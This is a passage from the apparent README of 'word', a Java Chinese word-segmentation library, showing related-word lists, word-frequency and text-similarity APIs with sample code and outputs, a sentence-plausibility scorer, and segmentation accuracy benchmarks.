位于 0.17821783, 大学 0.17326732, 铁路局 0.15841584, 来自 0.15346535, 最低 0.14356436, 北京 0.12871288, 本报 0.12376238, 黑龙江省 0.12376238, 发布 0.11386139, 中国 0.10891089, 飞往 0.0990099, 黑龙>江 0.08415841, 沈阳 0.07920792, 工程 0.07920792, 附近 0.074257426, 市委 0.06930693, 飞机 0.06930693, 上海 0.06930693, 考生 0.06930693, 进入 0.06930693, 停止 0.06930693, 经济 0.06435644] 南宁 : [广西 1.0, 铁路局 0.8, 广西南宁 0.62222224, 本报 0.54444444, 新华社 0.36666667, 南宁铁路局 0.31111112, 市委 0.26666668, 柳州 0.18888889, 桂林 0.17777778, 铁路 0.15555556, 兴>宁区 0.14444445, 来到 0.11111111, 开往 0.11111111, 前往 0.11111111, 公安 0.11111111, 工作 0.11111111, 运往 0.11111111, 城市 0.08888889, 美丽 0.08888889, 召开 0.08888889, 从事 0.08888889, 官塘 0.08888889, 楼市 0.08888889, 分局 0.07777778, 南宁市委 0.07777778, 动车 0.07777778, 发生 0.07777778, 举行 0.07777778, 西乡 0.06666667, 市长 0.06666667] 贵阳 : [本报 1.0, 重庆 0.73333335, 新华社 0.46666667, 方向 0.43333334, 前往 0.4, 哥俩 0.4, 城区 0.4, 老家 0.33333334, 西安 0.26666668, 成都 0.26666668, 街头 0.26666668, 晚报 0.26666668, 无关 0.26666668, 杭州 0.23333333, 涉及 0.2, 以及 0.2, 市内 0.2, 网友 0.2, 郑州 0.16666667, 南宁 0.16666667, 长沙 0.16666667, 武汉 0.16666667, 摆摊 0.16666667, 市委 0.13333334, 昆明 0.13333334, 安顺 0.13333334, 来到 0.13333334, 争霸 0.13333334, 四强 0.13333334, 铁路 0.13333334] 庆阳 : [甘肃 1.0, 甘肃庆阳 0.8, 甘肃省 0.4, 地区 0.4, 老区 0.3, 森林 0.2, 平凉 0.2, 镇远县 0.1, 革命 0.1, 韩凤廷 0.1, 交通处 0.1, 兰州森林大队 0.1, 大队 0.1, 兰州 0.1, 西峰 0.1, 发>送 0.1, 一辆 0.1, 牌照 0.1, 来自 0.1] 沈阳 : [军区 1.0, 晚报 0.5123967, 方向 0.3181818, 本报 0.27272728, 沈阳晚报 0.23553719, 新华社 0.20661157, 沈阳军区 0.18595041, 军区队 0.15289256, 海狮队 0.14876033, 自动化所 0.14049587, 此次 0.14049587, 经济区 0.1322314, 中国 0.12809917, >大连 0.12809917, 大爷 0.12809917, 市委 0.12396694, 一家 0.11570248, 高速 0.11570248, 国际 0.11157025, 火车票 0.11157025, 法库 0.10743801, 大学 0.10330579, 长春 0.10330579, 直达 0.09917355, 深圳 0.09090909, 上海 0.08677686, 记者 0.08677686, 海狮 0.08264463, 大妈 0.08264463, 两位 0.08264463] 合肥 : [火车站 1.0, 市民 0.8181818, 市区 0.53333336, 楼市 0.4848485, 合肥火车站 0.4121212, 铁路 0.38787878, 安徽 0.36969697, 到达 0.36363637, 市场 0.34545454, 上周 0.3030303, 芜湖 0.2969697, 召开 0.28484848, 记者 0.27272728, 成为 0.27272728, 来到 0.26666668, 安徽合肥 0.24242425, 城市 0.24242425, 经济圈 0.24242425, 公交 0.24242425, 目前 0.23636363, 本报 0.21818182, 今年 0.21818182, 起飞 0.21818182, 汽车 0.21212122, 物质 0.2060606, 合肥楼市 0.2060606, 空港 0.2060606, 工业 0.19393939, 标题 0.18181819, 野生 0.16969697] 大同 : [大学 1.0, 铁路 0.52380955, 山西 0.5, 证券 0.33333334, 大同大学 0.33333334, 山西省 0.23809524, 此次 0.23809524, 山西大同 0.1904762, 世界 0.1904762, 世界大同 0.1904762, 街道 0.16666667, 太原 0.14285715, 市委 0.14285715, 上海 0.14285715, 派出所 0.14285715, 公安处 0.14285715, 日方 0.14285715, 转发 0.14285715, 运城 0.11904762, 军分区 0.0952381, 矿务局 0.0952381, 小学 0.0952381, 参加 0.0952381, 项目 0.0952381, 中学 0.0952381, 水厂 0.0952381, 车辆段 0.0952381, 开往 0.0952381, 大同证券 0.0952381, 战役 0.071428575] 拉萨 : [火车站 1.0, 新华社 0.91935486, 西藏 0.7580645, 市区 0.61290324, 本报 0.58064514, 召开 0.5645161, 海关 0.5483871, 城市 0.48387095, 拉萨火车站 0.4032258, 市委 0.38709676, 成都 0.37096775, 贡嘎 0.3548387, 开幕 0.32258064, 发布 0.30645162, 西藏拉萨 0.2580645, 会议 0.2580645, 机场 0.22580644, 闭幕 0.22580644, 隆重 0.22580644, 林芝 0.20967741, 举行 0.19354838, 开通 0.19354838, 营业部 0.19354838, 市民 0.17741935, 市场 0.17741935, 经济 0.17741935, 中心 0.17741935, 空气 0.17741935, 成为 0.17741935, 人民 0.16129032] 西宁 : [新华社 1.0, 上海 0.8235294, 兰州 0.3529412, 辗转 0.3529412, 本报 0.29411766, 青海 0.29411766, 考察 0.23529412, 当街 0.23529412, 特钢 0.1764706, 方向 0.1764706, 分行 0.1764706, 索贿 0.1764706, 北京 0.14705883, 但是 0.14705883, 拉萨 0.11764706, 我们 0.11764706, 标题 0.11764706, 交警 0.11764706, 代表团 0.11764706, 处理 0.0882353, 银川 0.0882353, 车票 0.0882353, 筹建 0.0882353, 中转 0.0882353, 参加 0.0882353, 一月 0.05882353, 试验局 0.05882353, 二月 0.05882353, 地区 0.05882353, 严肃 0.05882353] 最后我们看一下分别使用7种相似度算法算出来的 兰州 的相关词: ---------------------------------------------------------- 兰州 的相关词(CosineTextSimilarity): 1、兰州 1.0 2、沈阳 0.5 3、北京军区 0.47 4、后勤部 0.46 5、沈阳军区 0.46 6、总医院 0.46 7、新疆军区 0.46 8、司令员 0.42 9、甘肃兰州 0.42 10、兰州新区 0.42 11、某师 0.39 12、郑蒲港 0.38 13、西咸 0.38 14、天水 0.37 15、郑东 0.37 耗时:25秒,572毫秒 ---------------------------------------------------------- 兰州 的相关词(EditDistanceTextSimilarity): 1、兰州 1.0 2、北京 0.21 3、福州 0.2 4、太原 0.19 5、成都 0.17 6、南宁 0.17 7、西安 0.17 8、哈尔滨 0.17 9、贵阳 0.16 10、庆阳 0.15 11、合肥 0.14 12、大同 0.14 13、沈阳 0.14 14、珀斯 0.13 15、拉萨 0.13 耗时:44秒,253毫秒 ---------------------------------------------------------- 兰州 的相关词(EuclideanDistanceTextSimilarity): 1、兰州 1.0 2、后勤部 0.37 3、北京军区 0.37 4、新疆军区 0.37 5、沈阳 0.37 6、沈阳军区 0.37 7、总医院 0.37 8、上海浦东新区 0.36 9、郑蒲港 0.36 10、浦东新区 0.36 11、甘肃兰州 0.36 12、西咸 0.36 13、西咸新区 0.36 14、正定新区 0.36 15、司令员 0.36 耗时:24秒,710毫秒 ---------------------------------------------------------- 兰州 的相关词(SimpleTextSimilarity): 1、兰州 1.0 2、福州 0.36 3、西安 0.33 4、李红旗 0.33 5、中国金融信息中心 0.33 6、南特 0.32 7、卡塔赫纳 0.32 8、哈尔滨 0.3 9、武汉 0.3 10、戴克瑞 0.3 11、楚雄州 0.29 12、朱梦魁 0.29 13、岳菲菲 0.29 14、长沙 0.28 15、吕国庆 0.28 耗时:21秒,918毫秒 ---------------------------------------------------------- 兰州 的相关词(JaccardTextSimilarity): 1、兰州 1.0 2、福州 0.22 3、西安 0.2 4、哈尔滨 0.18 5、北京 0.18 6、武汉 0.18 7、成都 0.18 8、长沙 0.15 9、太原 0.15 10、贵阳 0.15 11、沈阳 0.15 12、广州 0.15 13、拉萨 0.15 14、南昌 0.15 15、长春 0.13 耗时:19秒,717毫秒 ---------------------------------------------------------- 兰州 的相关词(ManhattanDistanceTextSimilarity): 1、兰州 1.0 2、上海浦东新区 0.11 3、陕西西咸新区 0.11 4、甘肃兰州 0.11 5、北京军区 0.11 6、新疆军区 0.11 7、西咸 0.11 8、正定新区 0.11 9、天府新区 0.11 10、沈阳军区 0.11 11、国家级新区 0.11 12、兰州新区 0.11 13、侠客 0.1 14、威胁论 0.1 15、一两个月 0.1 耗时:23秒,857毫秒 ---------------------------------------------------------- 兰州 的相关词(SimHashPlusHammingDistanceTextSimilarity): 1、兰州 1.0 2、鱼水 0.96 3、冯导 0.95 4、新闻稿 0.95 5、科学 0.95 6、物业公司 0.95 7、现役军人 0.95 8、何人 0.95 9、张轸 0.94 10、公告 0.94 11、信息发布 0.94 12、倡议 0.94 13、药液 0.94 14、考古发掘 0.94 15、公开发布 0.94 耗时:5分钟,57秒,339毫秒 ---------------------------------------------------------- 兰州 的相关词(JaroDistanceTextSimilarity): 1、兰州 1.0 2、长沙 0.49 3、哈尔滨 0.49 4、福州 0.48 5、太原 0.47 6、庆阳 0.46 7、济南 0.46 8、北京 0.45 9、成都 0.45 10、张家明 0.45 11、西安 0.45 12、孙勇 0.45 13、楚雄州 0.44 14、福州站 0.44 15、南宁 0.44 耗时:12秒,718毫秒 ---------------------------------------------------------- 兰州 的相关词(JaroWinklerDistanceTextSimilarity): 1、兰州 1.0 2、拉萨 0.56 3、南宁 0.55 4、朝廷 0.55 5、公判 0.54 6、萨蒙德 0.53 7、世界级 0.53 8、滨湖 0.53 9、大大小小 0.52 10、大选 0.52 11、七届 0.52 12、烘焙 0.51 13、武平县 0.51 14、莫斯科 0.51 15、复训 0.51 耗时:16秒,723毫秒 ---------------------------------------------------------- 兰州 的相关词(SørensenDiceCoefficientTextSimilarity): 1、兰州 1.0 2、福州 0.37 3、西安 0.33 4、哈尔滨 0.3 5、北京 0.3 6、武汉 0.3 7、成都 0.3 8、长沙 0.27 9、太原 0.27 10、贵阳 0.27 11、沈阳 0.27 12、广州 0.27 13、拉萨 0.27 14、南昌 0.27 15、长春 0.23 耗时:19秒,852毫秒 ---------------------------------------------------------- #### 21、词频统计: org.apdplat.word.WordFrequencyStatistics 提供了词频统计的功能 命令行脚本的调用方法如下: 将需要统计词频的文本写入文件:text.txt chmod +x wfs.sh & wfs.sh -textFile=text.txt -statisticsResultFile=statistics-result.txt 程序运行结束后打开文件statistics-result.txt查看词频统计结果 在程序中的调用方法如下: //词频统计设置 WordFrequencyStatistics wordFrequencyStatistics = new WordFrequencyStatistics(); wordFrequencyStatistics.setRemoveStopWord(false); wordFrequencyStatistics.setResultPath("word-frequency-statistics.txt"); wordFrequencyStatistics.setSegmentationAlgorithm(SegmentationAlgorithm.MaxNgramScore); //开始分词 wordFrequencyStatistics.seg("明天下雨,结合成分子,明天有关于分子和原子的课程,下雨了也要去听课"); //输出词频统计结果 wordFrequencyStatistics.dump(); //准备文件 Files.write(Paths.get("text-to-seg.txt"), Arrays.asList("word分词是一个Java实现的分布式中文分词组件,提供了多种基于词典的分词算法,并利用ngram模型来消除歧义。")); //清除之前的统计结果 wordFrequencyStatistics.reset(); //对文件进行分词 wordFrequencyStatistics.seg(new File("text-to-seg.txt"), new File("text-seg-result.txt")); //输出词频统计结果 wordFrequencyStatistics.dump("file-seg-statistics-result.txt"); 第一句话的词频统计结果: 1、下雨 2 2、明天 2 3、分子 2 4、课程 1 5、听课 1 6、结合 1 7、原子 1 8、去 1 9、成 1 10、关于 1 11、和 1 12、也要 1 13、有 1 14、的 1 15、了 1 第二句话的词频统计结果: 1、分词 2 2、的 2 3、基于 1 4、word 1 5、组件 1 6、词典 1 7、ngram 1 8、多种 1 9、实现 1 10、并 1 11、利用 1 12、消除歧义 1 13、中文分词 1 14、算法 1 15、是 1 16、分布式 1 17、了 1 18、提供 1 19、模型 1 20、来 1 21、一个 1 22、Java 1 #### 22、文本相似度: word分词提供了多种文本相似度计算方式: 方式一:余弦相似度,通过计算两个向量的夹角余弦值来评估他们的相似度 实现类:org.apdplat.word.analysis.CosineTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new CosineTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式二:简单共有词,通过计算两篇文档共有的词的总字符数除以最长文档字符数来评估他们的相似度 实现类:org.apdplat.word.analysis.SimpleTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SimpleTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式三:编辑距离,通过计算两个字串之间由一个转成另一个所需的最少编辑操作次数来评估他们的相似度 实现类:org.apdplat.word.analysis.EditDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new EditDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式四:SimHash + 汉明距离,先使用SimHash把不同长度的文本映射为等长文本,然后再计算等长文本的汉明距离 实现类:org.apdplat.word.analysis.SimHashPlusHammingDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SimHashPlusHammingDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.95 我爱购物 和 他是黑客 的相似度分值:0.83 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.86 他是黑客 和 他是黑客 的相似度分值:1.0 方式五:Jaccard相似性系数(Jaccard similarity coefficient),通过计算两个集合交集的大小除以并集的大小来评估他们的相似度 实现类:org.apdplat.word.analysis.JaccardTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaccardTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.5 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式六:欧几里得距离(Euclidean Distance),通过计算两点间的距离来评估他们的相似度 实现类:org.apdplat.word.analysis.EuclideanDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new EuclideanDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.41 我爱购物 和 他是黑客 的相似度分值:0.29 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.29 他是黑客 和 他是黑客 的相似度分值:1.0 方式七:曼哈顿距离(Manhattan Distance),通过计算两个点在标准坐标系上的绝对轴距总和来评估他们的相似度 实现类:org.apdplat.word.analysis.ManhattanDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new ManhattanDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.33 我爱购物 和 他是黑客 的相似度分值:0.14 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.14 他是黑客 和 他是黑客 的相似度分值:1.0 方式八:Jaro距离(Jaro Distance),编辑距离的一种类型 实现类:org.apdplat.word.analysis.JaroDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaroDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式九:Jaro–Winkler距离(Jaro–Winkler Distance),Jaro的扩展 实现类:org.apdplat.word.analysis.JaroWinklerDistanceTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new JaroWinklerDistanceTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.73 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 方式十:Sørensen–Dice系数(Sørensen–Dice coefficient),通过计算两个集合交集的大小的2倍除以两个集合的大小之和来评估他们的相似度 实现类:org.apdplat.word.analysis.SørensenDiceCoefficientTextSimilarity 用法如下: String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 = "他是黑客"; TextSimilarity textSimilarity = new SørensenDiceCoefficientTextSimilarity(); double score1pk1 = textSimilarity.similarScore(text1, text1); double score1pk2 = textSimilarity.similarScore(text1, text2); double score1pk3 = textSimilarity.similarScore(text1, text3); double score2pk2 = textSimilarity.similarScore(text2, text2); double score2pk3 = textSimilarity.similarScore(text2, text3); double score3pk3 = textSimilarity.similarScore(text3, text3); System.out.println(text1+" 和 "+text1+" 的相似度分值:"+score1pk1); System.out.println(text1+" 和 "+text2+" 的相似度分值:"+score1pk2); System.out.println(text1+" 和 "+text3+" 的相似度分值:"+score1pk3); System.out.println(text2+" 和 "+text2+" 的相似度分值:"+score2pk2); System.out.println(text2+" 和 "+text3+" 的相似度分值:"+score2pk3); System.out.println(text3+" 和 "+text3+" 的相似度分值:"+score3pk3); 运行结果如下: 我爱购物 和 我爱购物 的相似度分值:1.0 我爱购物 和 我爱读书 的相似度分值:0.67 我爱购物 和 他是黑客 的相似度分值:0.0 我爱读书 和 我爱读书 的相似度分值:1.0 我爱读书 和 他是黑客 的相似度分值:0.0 他是黑客 和 他是黑客 的相似度分值:1.0 #### 23、判定句子是有意义的人话的可能性: 通过如下命令: unix-like: chmod +x sentence-identify.sh & ./sentence-identify.sh windows: ./sentence-identify.bat 运行 org.apdplat.word.analysis.SentenceIdentify 类的结果如下所示: 1. 句子: 我是一个男人你是一个女人, 概率: 0.71428573 2. 句子: 我是一个人, 概率: 0.6666667 3. 句子: 我爱读书, 概率: 0.5 4. 句子: 我爱学习, 概率: 0.5 5. 句子: 法蒂小室汝辈武学大师改个入门处, 概率: 0.2857143 6. 句子: 显气孔率高压线塔总监督室波洛奈兹王毅陈刘玉荣, 概率: 0.2857143 7. 句子: 王捷俊汇报演出干草加韦拉一杠地垄墙未尝不可, 概率: 0.25 8. 句子: 八九点钟山光水色饱经世变普留申科淮河镇乐不极盘模拟飞行, 概率: 0.22222222 9. 句子: 物位任务区亡灵书巴纳尔没脑子揪人心肺复习功课林友力避风塘, 概率: 0.2 10. 句子: 参与方植物学报白善烨暗影狂奔骑白马痦子山城堡犹豫不定岳阳机场, 概率: 0.2 接着可根据命令行提示输入句子并回车来获得句子的评分 例如输入句子并回车:为中国崛起而努力奋斗 程序返回结果如下: 随机单词: [为, 中国, 崛起, 而, 努力, 奋斗] 生成句子: 为中国崛起而努力奋斗 句子概率: 1.0 例如输入句子并回车:人脑的记忆是保存在生物电上还是在细胞里? 程序返回结果如下: 随机单词: [人脑, 的, 记忆, 是, 保存, 在, 生物, 电, 上, 还是, 在, 细胞, 里] 生成句子: 人脑的记忆是保存在生物电上还是在细胞里? 句子概率: 0.8333333 ### 分词算法效果评估: 1、word分词 最大Ngram分值算法: 分词速度:370.9714 字符/毫秒 行数完美率:66.55% 行数错误率:33.44% 总的行数:2533709 完美行数:1686210 错误行数:847499 字数完美率:60.94% 字数错误率:39.05% 总的字数:28374490 完美字数:17293964 错误字数:11080526 2、word分词 最少词数算法: 分词速度:330.1586 字符/毫秒 行数完美率:65.67% 行数错误率:34.32% 总的行数:2533709 完美行数:1663958 错误行数:869751 字数完美率:60.12% 字数错误率:39.87% 总的字数:28374490 完美字数:17059641 错误字数:11314849 3、word分词 全切分算法: 分词速度:62.960262 字符/毫秒 行数完美率:57.2% 行数错误率:42.79% 总的行数:2533709 完美行数:1449288 错误行数:1084421 字数完美率:47.95% 字数错误率:52.04% 总的字数:28374490 完美字数:13605742 错误字数:14768748 4、word分词 双向最大最小匹配算法: 分词速度:462.87158 字符/毫秒 行数完美率:53.06% 行数错误率:46.93% 总的行数:2533709 完美行数:1344624 错误行数:1189085 字数完美率:43.07% 字数错误率:56.92% 总的字数:28374490 完美字数:12221610 错误字数:16152880 5、word分词 双向最小匹配算法: 分词速度:967.68604 字符/毫秒 行数完美率:46.34% 行数错误率:53.65% 总的行数:2533709 完美行数:1174276 错误行数:1359433 字数完美率:36.07% 字数错误率:63.92% 总的字数:28374490 完美字数:10236574 错误字数:18137916 6、word分词 双向最大匹配算法: 分词速度:661.148 字符/毫秒 行数完美率:46.18% 行数错误率:53.81% 总的行数:2533709 完美行数:1170075 错误行数:1363634 字数完美率:35.65% 字数错误率:64.34% 总的字数:28374490 完美字数:10117122 错误字数:18257368 7、word分词 正向最大匹配算法: 分词速度:1567.1318 字符/毫秒 行数完美率:41.88% 行数错误率:58.11% 总的行数:2533709 完美行数:1061189 错误行数:1472520 字数完美率:31.35% 字数错误率:68.64% 总的字数:28374490 完美字数:8896173 错误字数:19478317 8、word分词 逆向最大匹配算法: 分词速度:1232.6017 字符/毫秒 行数完美率:41.69% 行数错误率:58.3% 总的行数:2533709 完美行数:1056515 错误行数:1477194 字数完美率:30.98% 字数错误率:69.01% 总的字数:28374490 完美字数:8792532 错误字数:19581958 9、word分词 逆向最小匹配算法: 分词速度:1936.9575 字符/毫秒 行数完美率:41.42% 行数错误率:58.57% 总的行数:2533709 完美行数:1049673 错误行数:1484036 字数完美率:31.34% 字数错误率:68.65% 总的字数:28374490 完美字数:8893622 错误字数:19480868 10、word分词 正向最小匹配算法: 分词速度:2228.9465 字符/毫秒 行数完美率:36.7% 行数错误率:63.29% 总的行数:2533709 完美行数:930069 错误行数:1603640 字数完美率:26.72% 字数错误率:73.27% 总的字数:28374490 完美字数:7583741 错误字数:20790749 ### 相关文章: [1、中文分词算法 之 基于词典的正向最大匹配算法](http://yangshangchuan.iteye.com/blog/2031813) [2、中文分词算法 之 基于词典的逆向最大匹配算法](http://yangshangchuan.iteye.com/blog/2033843) [3、中文分词算法 之 词典机制性能优化与测试](http://yangshangchuan.iteye.com/blog/2035007) [4、中文分词算法 之 基于词典的正向最小匹配算法](http://yangshangchuan.iteye.com/blog/2040423) [5、中文分词算法 之 基于词典的逆向最小匹配算法](http://yangshangchuan.iteye.com/blog/2040431) [6、一种利用ngram模型来消除歧义的中文分词方法](http://my.oschina.net/apdplat/blog/411112) 